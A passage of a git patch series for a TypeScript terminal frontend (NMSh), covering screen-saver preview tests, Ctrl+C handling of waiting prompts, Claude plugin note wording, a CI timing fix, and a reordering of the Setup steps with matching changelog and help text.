assert.doesNotMatch(plain(app['setupPreview'](state, 100)), /Cooked for/u); + } finally { cleanup(); } +}); diff --git a/tests/idlePreview.test.ts b/tests/idlePreview.test.ts new file mode 100644 index 00000000..558f3668 --- /dev/null +++ b/tests/idlePreview.test.ts @@ -0,0 +1,53 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {CellGrid} from '../src/idle/CellGrid.js'; +import {idleFrameRows, idlePreviewRows, previewSaver, RANDOM_PREVIEW_DWELL_MS, sampleCapture} from '../src/idle/IdleVisuals.js'; +import {idlePalette, randomCandidates, SCREEN_MODE_EFFECT, type IdleMode} from '../src/idle/scenes.js'; +import {stripAnsi} from '../src/util/text.js'; + +/** + * Setup's and the color editor's screen saver previews: the screen-animating savers (Black Hole, Fireworks, + * Circletastic, raiseCatError) run on a sample screen instead of falling back to the star field, and Random shows the + * savers it can actually choose, in turn. + */ +const palette = idlePalette(['#a67cf3', '#7aa2f7', '#f7768e'].map(hex => parseInt(hex.slice(1), 16)) as never); +const base = {width: 40, height: 8, palette, level: 'truecolor' as const, nerd: true}; +const text = (rows: string[]) => rows.map(row => stripAnsi(row)).join('\n'); + +test('screen-animating savers preview on a sample screen, not the star field', () => { + for (const mode of Object.keys(SCREEN_MODE_EFFECT) as IdleMode[]) { + const sample = {}; + const first = idlePreviewRows(new CellGrid(), {...base, mode, elapsed: 0, still: false, sample}); + assert.equal(first.shown, mode); + assert.match(text(first.rows), /❯|npm|git|README|passing/u, `${mode}: the sample screen is what it animates`); + const starField = idleFrameRows(new CellGrid(), {...base, mode: 'deepSpace', time: 0}); + assert.notEqual(text(first.rows), text(starField), `${mode}: not the star field`); + // It moves: a later frame differs from the first. + const later = idlePreviewRows(new CellGrid(), {...base, mode, elapsed: 2500, still: false, sample}); + assert.notEqual(text(later.rows), text(first.rows), `${mode}: animated`); + } + assert.match(text(sampleCapture(40, 8).glyphs.join('').match(/.{1,40}/gu) ?? []), /npm test/u, 'fixed NMSh-like text, never a capture of the person\'s screen'); +}); + +test('Random previews each saver it can choose, in turn, from the registry', () => { + const candidates = randomCandidates(); + const seen = new Set(); + for (let index = 0; index < candidates.length; index += 1) seen.add(previewSaver('random', index * RANDOM_PREVIEW_DWELL_MS + 10).mode); + assert.deepEqual([...seen].sort(), [...candidates].sort()); + assert.equal(previewSaver('random', RANDOM_PREVIEW_DWELL_MS * candidates.length + 5).mode, previewSaver('random', 5).mode, 'and loops'); + assert.deepEqual(previewSaver('aurora', 1234), {mode: 'aurora', elapsed: 1234}); + const random = idlePreviewRows(new CellGrid(), {...base, mode: 'random', elapsed: 10, still: false, sample: {}}); + assert.ok(candidates.includes(random.shown), 'it names a real saver'); +}); + +test('Setup: the Chroma row says what will show, and what hides or stills it', async () => { + const {chromaVisibilityNote} = await import('../src/setup/SetupCat.js'); + const {normalizePromptConfiguration} = await import('../src/prompt/configuration.js'); + const draft = (patch: Record) => normalizePromptConfiguration(patch as never); + assert.match(chromaVisibilityNote(draft({presentation: {preset: 'off'}}), true), /^Off \(the default\): .*the preview shows it at once$/u); + assert.match(chromaVisibilityNote(draft({presentation: {preset: 'aurora'}}), false), /NO_COLOR is set: .*no visible effect/u); + assert.match(chromaVisibilityNote(draft({provider: 'starship', presentation: {preset: 'aurora'}}), true), /your external prompt keeps its own colors, so the prompt will not change/u); + assert.match(chromaVisibilityNote(draft({provider: 'none', presentation: {preset: 'aurora'}}), true), /with Prompt None there is no prompt to color/u); + assert.match(chromaVisibilityNote(draft({presentation: {preset: 'aurora', effectsOff: true}}), true), /^Aurora on the whole Native prompt · Decorative effects Off: its colors show, its motion stays still; P compares/u); + assert.match(chromaVisibilityNote(draft({presentation: {preset: 'aurora', scope: 'identity'}}), true), /identity modules only \(the rest keeps theme colors\)/u); +}); From ef7a3194abc328ba6f1d09571ebf92c742360564 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 02:02:07 +0530 Subject: [PATCH 11/16] Theme Bridge policy test: Setup's Chroma preview follows the setting; P compares with the base theme --- tests/themeBridgePolicy.test.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tests/themeBridgePolicy.test.ts b/tests/themeBridgePolicy.test.ts index 626496b3..4ba01b03 100644 --- a/tests/themeBridgePolicy.test.ts +++ b/tests/themeBridgePolicy.test.ts @@ -14,7 +14,7 @@ import {batTheme, bsdLsColors, validateBatTheme, validBsdLsColors} from '../src/ import {artifactPath, batConfigDirectory, loadLedger} from '../src/themeBridge/artifacts.js'; import {applyThemeBridge, batReady, bridgeEnvironment, integrationHealth, reportTargets, setupBat, type BridgeContext, type TargetFacts} from '../src/themeBridge/runtime.js'; import {createThemeStudio, studioKey} from '../src/appearance/ThemeStudio.js'; -import {createSetup, sectionIndex, setupKey} from '../src/setup/SetupCat.js'; +import {createSetup, sectionIndex, setupKey, setupShowsChroma} from '../src/setup/SetupCat.js'; const base = (): PromptConfiguration => structuredClone(DEFAULT_PROMPT_CONFIGURATION); const facts = (extra: Partial> = {}) => @@ -148,7 +148,9 @@ test('preview Chroma switches are local: Theme Studio and Setup toggle only thei const config = normalizePromptConfiguration({presentation: {preset: 'aurora'}}); const setup = createSetup(config); setup.section = sectionIndex('appearance'); + // Setup's preview shows the chosen Chroma at once; P compares with the base theme. + assert.equal(setupShowsChroma(setup), true); setupKey(setup, {kind: 'text', value: 'p'}); - assert.equal(setup.previewChroma, true); + assert.equal(setupShowsChroma(setup), false); assert.equal(setup.draft.presentation.preset, 'aurora', 'the draft (and saved) Chroma is unchanged'); }); From fb3955066b02ae5c3b0be8dbf09fcb30885f2cf4 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 02:02:07 +0530 Subject: [PATCH 12/16] Input: Ctrl+C or Ctrl+Z ends a waiting question; what is typed next is for the prompt The canonical run found it: after Ctrl+C on a read with a question open, the frontend still held that question, so the next command's first key started a draft marked as a reply. When the prompt came back mid-typing, the reply rule discarded it ("finished before your reply was sent") and the rest ran as a broken fragment. An interrupt or suspend now ends the question here as an answer does, and a draft started in the stop window is never a reply. Also two tests that pinned the dropped final newline (block Copy output, welcome copy) now expect the bytes printed. --- src/app/TerminalApp.ts | 9 +++++++-- tests/blockActions.test.ts | 5 +++-- tests/inputOwnershipLive.test.ts | 17 +++++++++++++++++ tests/welcome.test.ts | 2 +- 4 files changed, 28 insertions(+), 5 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index dbb1244e..0b0be627 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -2087,7 +2087,8 @@ export class TerminalApp { // Typing that starts while a command waits for a line is an answer: if the command ends before it is sent, it // is discarded rather than left to run as the next shell command. if (this.running && !this.editor.text && (key.kind === 'text' || key.kind === 'paste')) { - this.runningDraft = {startId: this.running.startId, at: Date.now(), answering: this.answersByDefault()}; + // Right after Ctrl+C or Ctrl+Z, typing is type-ahead for the prompt, not a reply. + this.runningDraft = {startId: this.running.startId, at: Date.now(), answering: this.answersByDefault() && !this.justStopped()}; } // Flow keeps the composer in the document: editing while scrolled back // returns to it first. Scrolling and mouse navigation alone never do. @@ -2140,6 +2141,9 @@ export class TerminalApp { this.running.stoppedAt = Date.now(); this.editor.clear(); this.session.interrupt(); + // Ctrl+C ends a waiting question: what is typed next is for the prompt, never a reply to discard. + this.runningDraft = undefined; + this.answerSent(); } else { this.editor.clear(); this.selectedSuggestion = 0; @@ -2157,7 +2161,7 @@ export class TerminalApp { // Job control belongs to zsh: forward ^Z so it stops the foreground job. // With no foreground command there is nothing to suspend, so the idle // composer ignores it rather than treating it as text, undo, or exit. - if (this.running) { this.running.stoppedAt = Date.now(); this.session.write('\u001A'); } + if (this.running) { this.running.stoppedAt = Date.now(); this.session.write('\u001A'); this.runningDraft = undefined; this.answerSent(); } return; } if (key.kind === 'selectAll') { @@ -9968,6 +9972,7 @@ export class TerminalApp { if (key.kind === 'interrupt') { if (this.running) { this.running.interrupted = true; this.running.stoppedAt = Date.now(); } this.session.interrupt(); + this.answerSent(); return; } if (key.kind === 'eof') { this.session.endInput(); return; } diff --git a/tests/blockActions.test.ts b/tests/blockActions.test.ts index 022961b3..a04c50fe 100644 --- a/tests/blockActions.test.ts +++ b/tests/blockActions.test.ts @@ -28,8 +28,9 @@ test('one block registry supplies keyboard palette actions and copies authoritat assert.ok(passive.some(action => action.id === 'clipCommand')); assert.ok(passive.some(action => action.id === 'clipOutput')); assert.equal(blockCopyPayload(record, 'copyCommand'), 'echo hello'); - assert.equal(blockCopyPayload(record, 'copyOutput'), record.output); - assert.equal(blockCopyPayload(record, 'copyBoth'), record.command + '\n' + record.output); + // Copies are the bytes printed (its final line break included); record.output is the drawn text. + assert.equal(blockCopyPayload(record, 'copyOutput'), `${record.output}\n`); + assert.equal(blockCopyPayload(record, 'copyBoth'), `${record.command}\n${record.output}\n`); assert.ok(record.output.includes('full output')); assert.ok(!blockCopyPayload(record, 'copyBoth')!.includes('Actions')); }); diff --git a/tests/inputOwnershipLive.test.ts b/tests/inputOwnershipLive.test.ts index 7bb6c46f..c6a4296a 100644 --- a/tests/inputOwnershipLive.test.ts +++ b/tests/inputOwnershipLive.test.ts @@ -157,3 +157,20 @@ test('live zsh: a command typed right after a read returns, or right after Ctrl+ assert.equal(await queued(sandbox), 0); } finally { await sandbox.dispose(); } }); + +test('live zsh: a command typed right after Ctrl+C on a waiting question is kept when the prompt returns mid-typing', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const {sandbox, frontend} = await start('zsh'); + const marker = join(sandbox.home, 'kept'); + try { + // The question ends 1.5 s after Ctrl+C (its trap), so the prompt comes back while the next command is typed. + const mark = frontend.mark; + frontend.pty.write("( trap 'sleep 1.5; exit 130' INT; read -r 'r?Name: ' )\r"); + await frontend.waitFor(/[Ww]aiting for input[\s\S]*Name:/u, mark); + frontend.pty.write('\u0003'); + await type(frontend, `echo KEPT >> ${marker}`, 70); + frontend.pty.write('\r'); + await until(() => existsSync(marker), 15_000, 'the command typed after Ctrl+C to run'); + assert.equal(spawnSync('cat', [marker], {encoding: 'utf8'}).stdout, 'KEPT\n'); + assert.doesNotMatch(strip(frontend.output.slice(mark)), /reply was discarded/u, 'it was never taken for a reply'); + } finally { await sandbox.dispose(); } +}); diff --git a/tests/welcome.test.ts b/tests/welcome.test.ts index e8c08582..057ded5b 100644 --- a/tests/welcome.test.ts +++ b/tests/welcome.test.ts @@ -93,7 +93,7 @@ test('welcome scrolls with ordinary history and stays outside command copy', () const viewport = new HistoryViewport(); assert.ok(viewport.resolve(rows.length, 3) > 0); assert.ok(!rows.slice(viewport.start, viewport.start + 3).some(row => row.plain.includes('notMyShell'))); - assert.equal(serializeCopyPayload(output.recent(1)!), 'hello'); + assert.equal(serializeCopyPayload(output.recent(1)!), 'hello\n', 'the output as printed; never the welcome'); assert.ok(!output.transcript().lines.flat().some(cell => cell && 'text' in cell && cell.text.includes('notMyShell'))); }); From 7f18d76628bbe61332cb4f9f6dd6c4097681b30e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 02:14:06 +0530 Subject: [PATCH 13/16] Claude plugins: word the deferral note so the portable-mod gate's shell rule holds MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The gate rejects any "shell:" in claudePlugins.ts (a deliberately textual rule against shell options); the note said "In a shell: claude plugin …". The canonical run on stabilize/v0.20.0 36858e76 caught it. The rule is unchanged; the words are. --- src/agents/mods/claudePlugins.ts | 2 +- tests/claudePlugins.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/agents/mods/claudePlugins.ts b/src/agents/mods/claudePlugins.ts index 1b681154..d87b8fe7 100644 --- a/src/agents/mods/claudePlugins.ts +++ b/src/agents/mods/claudePlugins.ts @@ -132,7 +132,7 @@ export async function claudePluginEntries(listing: unknown, cwd: string, profile claude: {pluginId: raw.id, scope: raw.scope === 'user' || raw.scope === 'project' || raw.scope === 'local' ? raw.scope : 'user', ...(raw.projectPath ? {projectPath: raw.projectPath} : {}), ...(profile?.configDir ? {configDir: profile.configDir} : {})}, toggle: override ? {supported: false, reason: `This project's ${override.file} decides it here; NMSh changes only the scope a plugin is installed at`} : claudePluginWrites() ? {supported: true} - : {supported: false, reason: `Turning plugins on and off from NMSh is not verified in this release. In a shell: claude plugin ${enabled === true ? 'disable' : 'enable'} ${raw.id} --scope ${raw.scope === 'user' || raw.scope === 'project' || raw.scope === 'local' ? raw.scope : 'user'}`}}); + : {supported: false, reason: `Turning plugins on and off from NMSh is not verified in this release. Run it yourself: claude plugin ${enabled === true ? 'disable' : 'enable'} ${raw.id} --scope ${raw.scope === 'user' || raw.scope === 'project' || raw.scope === 'local' ? raw.scope : 'user'}`}}); } return entries; } diff --git a/tests/claudePlugins.test.ts b/tests/claudePlugins.test.ts index 44040cf9..66087126 100644 --- a/tests/claudePlugins.test.ts +++ b/tests/claudePlugins.test.ts @@ -235,7 +235,7 @@ test('default: plugin changes are off and explained; the inventory stays; Claude const listing = [{id: 'skins@market', version: '1.0.0', scope: 'user', enabled: true, installPath: '/nonexistent/skins'}]; const [entry] = await claudePluginEntries(listing, '/nonexistent-project'); assert.equal(entry!.enabled, 'yes', 'what Claude reports is still read and shown'); - assert.deepEqual(entry!.toggle, {supported: false, reason: 'Turning plugins on and off from NMSh is not verified in this release. In a shell: claude plugin disable skins@market --scope user'}); + assert.deepEqual(entry!.toggle, {supported: false, reason: 'Turning plugins on and off from NMSh is not verified in this release. Run it yourself: claude plugin disable skins@market --scope user'}); // Even a direct call never starts Claude: the executable here would fail the test if it ran. assert.deepEqual(await setPluginEnabled('/nonexistent/claude-must-not-run', entry!, false, new Set(['skins@market'])), {ok: false, message: 'Turning plugins on and off from NMSh is not verified in this release'}); From 23fcb4f4890c98a34c7e3e7126da634885a713b1 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 02:17:02 +0530 Subject: [PATCH 14/16] Input ownership test: wait for this run's journal record before counting answers Linux CI (dispatch run 38803613336, ubuntu shard 1/2) showed the answer on screen while the journal record was not yet written, so the exactly-once check read no record. The test now counts the command's records before it runs and waits for one more; the product behavior is unchanged. --- tests/inputOwnershipLive.test.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/tests/inputOwnershipLive.test.ts b/tests/inputOwnershipLive.test.ts index c6a4296a..dabc72e3 100644 --- a/tests/inputOwnershipLive.test.ts +++ b/tests/inputOwnershipLive.test.ts @@ -76,6 +76,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { for (const read of READS[shell]) { const what = `${read.name} after ${reactionMs} ms`; const mark = frontend.mark; + const before = (await records(sandbox)).filter(entry => entry.command === read.command).length; await type(frontend, read.command, 5); frontend.pty.write('\r'); await pause(reactionMs); @@ -89,8 +90,11 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { assert.equal(all.some(record => record.command.trim() === read.keys), false, `${what}: the answer never ran as a command`); assert.equal(await queued(sandbox), 0, `${what}: nothing was queued`); if (read.secret) assert.equal(strip(frontend.output.slice(mark)).includes(SECRET), false, `${what}: the hidden answer is never drawn`); - // Exactly once, from the journal (Fish's reader has the terminal, so its output is not journaled). - const record = all.filter(entry => entry.command === read.command).at(-1); + // Exactly once, from the journal (Fish's reader has the terminal, so its output is not journaled). The journal is + // written after the screen (later on a slower host): wait for this run's own record first. + const journaled = async () => (await records(sandbox)).filter(entry => entry.command === read.command); + if (shell !== 'fish') await until(async () => (await journaled()).length > before, 15_000, `${what}: journaled`); + const record = (await journaled()).at(-1); if (shell !== 'fish' && read.keys === 'hello') assert.equal(record?.output.match(/ANSWER=hello/gu)?.length, 1, `${what}: answered exactly once`); await pause(400); } From e2ab71da0126e5c1241496ac4663a72193fe02ca Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 08:32:53 +0530 Subject: [PATCH 15/16] =?UTF-8?q?Setup:=20Look=20=E2=86=92=20Prompt=20?= =?UTF-8?q?=E2=86=92=20Motion;=20Chroma=20chosen=20in=20Look=20only?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Physical QA found theme settings scattered across Prompt and Appearance, with Chroma offered in both and the rows that depend on a theme shown before it. The approved order (workspace-ui-decision.md): - Look (formerly Appearance) follows Terminal: theme family, variant, accent, theme text, UI chrome, then Chroma with its dependent rows under it. It is the only place Setup chooses Chroma. - Prompt shows Chroma as a read-only line; Enter goes to Look's Chroma row. - Motion starts with Reduced Motion, Decorative effects, Shimmer and Milestone effects, above the motion rows they govern; the Shimmer sample preview moved with its row. - Cursor follows Motion; the remaining steps are unchanged. /setup look and /setup motion are listed; /setup appearance and /setup chroma still work. /setup chroma now selects the Chroma row itself: its index was counted over hidden theme rows and landed on Theme Studio. Saved values and every setting's reachability are unchanged (tests/setupOrder.test.ts). --- CHANGELOG.md | 3 + src/app/TerminalApp.ts | 35 +++--- src/commands/slashCommands.ts | 6 +- src/help/helpContent.ts | 2 +- src/setup/SetupCat.ts | 104 ++++++++++-------- tests/setupCat.test.ts | 6 +- tests/setupOrder.test.ts | 195 ++++++++++++++++++++++++++++++++++ 7 files changed, 289 insertions(+), 62 deletions(-) create mode 100644 tests/setupOrder.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 2d2409e2..293b3603 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -53,6 +53,9 @@ Verification: automated CI (unit and real-PTY suites on macOS and Ubuntu, Node 2 - Ruby and PHP version modules read the project's own files and the install location, never running an interpreter. The Gemfile `ruby` declaration is parsed in linear time. - `/theme` imports **Starship** configurations as Native themes from their static colors only; format strings and custom commands are never evaluated, and the preview lists what was not carried over. +### Changed +- **Setup Cat order: Look → Prompt → Motion.** The first steps after Terminal are now **Look** (formerly Appearance): theme family, variant, accent, theme text, UI chrome, then Chroma (the only place Setup chooses it) with its dependent rows under it; **Prompt**, which shows Chroma as a read-only line that goes to Look; and **Motion**, which now starts with Reduced Motion, Decorative effects, Shimmer and Milestone effects above the motion rows they govern. Cursor follows Motion. Every setting stays reachable and saved values are unchanged; `/setup look` opens Look (`/setup appearance` and `/setup chroma` still work). + ### Fixed - **Single-key prompts:** answering a single-key question through the composer no longer sends a stray Enter that answered the next question with its default. - **Passwords:** text typed at a password prompt is no longer drawn in the composer. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 55295b29..632e0164 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -5726,8 +5726,7 @@ export class TerminalApp { */ private setupPreview(state: SetupState, columns: number): string[] { const section0 = SETUP_SECTIONS[state.section]?.id; - // Prompt/Appearance previews show the base theme unless the local preview switch asks for the draft's Chroma. - // The preview shows the draft's Chroma as soon as it is on; P compares with the base theme. + // Look and Prompt previews show the draft's Chroma as soon as it is on; P compares with the base theme. const chromaStep = section0 === 'appearance' || section0 === 'prompt'; const shown = chromaStep && setupShowsChroma(state); const rawPreview = chromaStep && !shown; @@ -5779,6 +5778,26 @@ export class TerminalApp { const signature = `${item.key}|${JSON.stringify(draft.motion)}|${gate.reducedMotion}|${gate.effectsOff}`; const now = Date.now(); if (state.previewKey !== signature) { state.previewKey = signature; state.previewStart = now; } + // Reduced Motion and Decorative effects head this step: say what they hold still, above the motion they govern. + rows.push(` ${SUBTLE}${draft.presentation.effectsOff ? 'Decorative effects Off: Chroma motion, sparkles, shimmer and idle visuals stay still.' + : gate.reducedMotion ? 'Reduced Motion: colors stay, movement stops (Chroma, motion below, cursor effects).' : 'Decorative effects On: Chroma motion and effects may move.'}${RESET}`); + if (selected?.row.id === 'shimmer') { + // The light sweep over a semantic sample: with Semantic Preserve, ✔ and ✘ keep their hues. + const style = sweepStyleFor(draft); + if (style.level !== 'off') { + const sample: Array<{glyph: string; color?: Rgb; semantic?: boolean}> = []; + const add = (text: string, color: Rgb | undefined, semantic = false) => { for (const glyph of graphemes(text)) sample.push({glyph, color: glyph === ' ' ? undefined : color, semantic}); }; + add('✔ 0 ', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('success').background, true); + add('notMyShell ', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('project').background); + add('~/src ', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('cwd').background); + add('✘ 1', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('failure').background, true); + // One pass on each change in this step (the same event as the selected row), not a loop. + rows.push(`${label('Shimmer')}${sweepOnce(sample, this.sweep?.target === 'selection' ? this.sweepElapsed() : Number.POSITIVE_INFINITY, style, colorLevel(), sweepStill(draft))}${RESET}`); + } else rows.push(`${label('Shimmer')}${SUBTLE}Off: no sweep of light${RESET}`); + // No looping motion preview runs behind the one-shot sweep. + if (this.setupCursorClock) { this.setupCursorClock(); this.setupCursorClock = undefined; } + break; + } const shown = renderMotionPreview(item.key, draft.motion, gate, columns, state.previewStart ?? now, now); rows.push(` ${SUBTLE}Preview · ${item.label} · ${draft.motion.rendering === 'rich' ? 'Rich' : 'Clean'}${RESET}`, ...shown.rows); if (shown.busy && !this.setupCursorClock) this.setupCursorClock = presentationClock.subscribe(() => { if (this.setupState) this.render(); }, 40, 16); @@ -5817,18 +5836,6 @@ export class TerminalApp { } rows.push(` ${SUBTLE}${draft.presentation.effectsOff ? 'Decorative effects Off: Chroma motion, sparkles and idle visuals stay still.' : draft.presentation.reducedMotion ? 'Reduced Motion: colors stay, movement stops.' : 'Decorative effects On: Chroma motion and effects may move.'}${RESET}`); - // The light sweep over a semantic sample: with Semantic Preserve, ✔ and ✘ keep their hues. - const style = sweepStyleFor(draft); - if (style.level !== 'off') { - const sample: Array<{glyph: string; color?: Rgb; semantic?: boolean}> = []; - const add = (text: string, color: Rgb | undefined, semantic = false) => { for (const glyph of graphemes(text)) sample.push({glyph, color: glyph === ' ' ? undefined : color, semantic}); }; - add('✔ 0 ', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('success').background, true); - add('notMyShell ', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('project').background); - add('~/src ', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('cwd').background); - add('✘ 1', NATIVE_PROMPT_THEMES[draft.nmsh.palette].colors('failure').background, true); - // One pass on each change in this step (the same event as the selected row), not a loop. - rows.push(`${label('Shimmer')}${sweepOnce(sample, this.sweep?.target === 'selection' ? this.sweepElapsed() : Number.POSITIVE_INFINITY, style, colorLevel(), sweepStill(draft))}${RESET}`); - } animate ||= treatmentAnimated(draft.presentation); break; } diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index c3798ab7..c92ce46f 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -58,7 +58,9 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/settings', insertion: '/settings', description: 'Open NMSh settings (Config view)'}, {name: '/setup', insertion: '/setup', description: 'Setup Cat: guided, rerunnable setup; keeps your current choices'}, {name: '/setup prompt', insertion: '/setup prompt', description: 'Setup Cat: prompt provider and style'}, - {name: '/setup appearance', insertion: '/setup appearance', description: 'Setup Cat: theme, vibrance and Chroma'}, + {name: '/setup look', insertion: '/setup look', description: 'Setup Cat: theme, UI chrome and Chroma (the Look step)'}, + {name: '/setup appearance', insertion: '/setup appearance', description: 'Same as /setup look'}, + {name: '/setup motion', insertion: '/setup motion', description: 'Setup Cat: Reduced Motion, decorative effects and motion, with a live preview'}, {name: '/setup transcript', insertion: '/setup transcript', description: 'Setup Cat: transcript presentation, history colors, dividers and folding'}, {name: '/setup cursor', insertion: '/setup cursor', description: 'Setup Cat: cursor shape, effects and colors, with a live preview'}, {name: '/setup syntax', insertion: '/setup syntax', description: 'Setup Cat: editor, syntax colors and suggestions'}, @@ -267,7 +269,7 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined } return {kind: 'keepAwake', op: 'panel', invalid: word}; } - const setup = /^\/setup(?:\s+(prompt|appearance|chroma|tools|editor|transcript|cursor|syntax|motion|sessions|shell|ask))?\s*$/u.exec(input); + const setup = /^\/setup(?:\s+(prompt|look|appearance|chroma|tools|editor|transcript|cursor|syntax|motion|sessions|shell|ask))?\s*$/u.exec(input); if (setup) return setup[1] ? {kind: 'setup', entry: setup[1]} : {kind: 'setup'}; if (/^\/(?:settings|config)\s*$/u.test(input)) return {kind: 'settings', view: 'config'}; if (/^\/status\s*$/u.test(input)) return {kind: 'settings', view: 'status'}; diff --git a/src/help/helpContent.ts b/src/help/helpContent.ts index cbcfd945..c1eceed3 100644 --- a/src/help/helpContent.ts +++ b/src/help/helpContent.ts @@ -31,7 +31,7 @@ When a submitted command is missing in your zsh and exactly names a curated tool ## Appearance -Settings → Theme (and /setup appearance) picks a Built-in theme (NMSh themes and bundled families: Catppuccin with flavor and accent, Dracula, Tokyo Night, Gruvbox, Rosé Pine, Nord, Solarized, One Dark), an Imported theme or a Custom theme. Themes color NMSh-owned UI only; your terminal and editor keep their colors unless you opt a tool into Theme Bridge. /theme opens Theme Studio (Built-in · Imported · Custom · Import): set any theme active, duplicate a built-in, edit, rename, duplicate, export (NMSh Theme JSON) or delete library themes, and import a local file from NMSh Theme JSON, Base16, Base24, Windows Terminal, Oh My Posh (JSON, YAML, TOML), Kitty, Ghostty, iTerm2 (.itermcolors) or WezTerm TOML. Imports are parsed as data only (nothing is executed, sourced, templated, followed or fetched), previewed with their mapping and what was lost, and saved only when you confirm; once imported a theme is an ordinary Native theme that no longer needs the source app or file. Cursor shape and blink (/cursor), the prompt symbol and the optional status strip are in Settings. UI chrome (frames, rules, tabs, selection) follows the theme by default, or a Custom preset (Native Lavender, Grayscale, your colors). Chroma colors the Native prompt; Full Chroma is the default influence, and Semantic colors decides whether success, failure and Git state are recolored too. Shimmer (On by default) plays one soft sweep of light when you select or change something, submit, or confirm; Decorative effects Off or Reduced Motion turn it off. /motion (also /appearance → Motion) sets the general motion: context transitions, command launch, completion highlight, command completion and event feedback. +Settings → Theme (and Setup's Look step, /setup look) picks a Built-in theme (NMSh themes and bundled families: Catppuccin with flavor and accent, Dracula, Tokyo Night, Gruvbox, Rosé Pine, Nord, Solarized, One Dark), an Imported theme or a Custom theme. Themes color NMSh-owned UI only; your terminal and editor keep their colors unless you opt a tool into Theme Bridge. /theme opens Theme Studio (Built-in · Imported · Custom · Import): set any theme active, duplicate a built-in, edit, rename, duplicate, export (NMSh Theme JSON) or delete library themes, and import a local file from NMSh Theme JSON, Base16, Base24, Windows Terminal, Oh My Posh (JSON, YAML, TOML), Kitty, Ghostty, iTerm2 (.itermcolors) or WezTerm TOML. Imports are parsed as data only (nothing is executed, sourced, templated, followed or fetched), previewed with their mapping and what was lost, and saved only when you confirm; once imported a theme is an ordinary Native theme that no longer needs the source app or file. Cursor shape and blink (/cursor), the prompt symbol and the optional status strip are in Settings. UI chrome (frames, rules, tabs, selection) follows the theme by default, or a Custom preset (Native Lavender, Grayscale, your colors). Chroma colors the Native prompt; Full Chroma is the default influence, and Semantic colors decides whether success, failure and Git state are recolored too. Shimmer (On by default) plays one soft sweep of light when you select or change something, submit, or confirm; Decorative effects Off or Reduced Motion turn it off. /motion (also /appearance → Motion) sets the general motion: context transitions, command launch, completion highlight, command completion and event feedback. ## Prompt None and history diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index c156347d..98ee7d44 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -98,7 +98,7 @@ export interface SetupSection { /** Direct entry names to the section they open. */ export const SETUP_ENTRIES: Readonly> = { - prompt: 'prompt', appearance: 'appearance', chroma: 'appearance', tools: 'tools', editor: 'editor', syntax: 'editor', transcript: 'transcript', shell: 'shell', ask: 'ask', cursor: 'cursor', motion: 'motion', sessions: 'sessions', + prompt: 'prompt', look: 'appearance', appearance: 'appearance', chroma: 'appearance', tools: 'tools', editor: 'editor', syntax: 'editor', transcript: 'transcript', shell: 'shell', ask: 'ask', cursor: 'cursor', motion: 'motion', sessions: 'sessions', }; const configRow = (id: string): SettingsRow => { @@ -189,6 +189,17 @@ function bridgeTargetRows(draft: PromptConfiguration, context: SetupContext | un } satisfies SetupRow)); } +/** + * Prompt's view of Chroma: read-only, because Chroma is chosen in exactly one place (Look, with the rows that depend on + * it and a live preview). Enter goes there, on the Chroma row; it never changes the draft. + */ +export const CHROMA_IN_LOOK_ROW: SetupRow = { + row: {id: 'setupChromaInLook', label: 'Chroma', description: 'Chroma colors the Native prompt; it is chosen in Look, beside the theme it recolors. Enter goes there', + category: 'Prompt', control: 'action', actionLabel: 'Look ›', destination: 'appearance', run: config => config, + value: config => `${config.presentation.preset === 'off' ? 'Off' : TREATMENT_PRESET_LABELS[config.presentation.preset]} · change it in Look ›`}, + note: draft => chromaVisibilityNote(draft), +}; + function routeRow(id: string, label: string, description: string, destination: SettingsDestination, category: string): SetupRow { return {row: {id, label, description, category, control: 'action', actionLabel: 'Open ›', destination}, note: () => 'Enter applies this Setup first, then opens it; it keeps the choices you made here'}; @@ -243,34 +254,9 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {id: 'terminal', title: 'Terminal', intro: ['Glyphs your terminal font can draw.'], rows: [ {row: configRow('glyphStyle'), note: draft => draft.glyphStyle === 'nerd' ? 'Needs a Nerd Font in your terminal' : 'Works with any terminal font'}, ]}, - // The same cursor rows as Settings; rich editing (the color picker, trail and particle colors, physics) is /cursor, opened over this 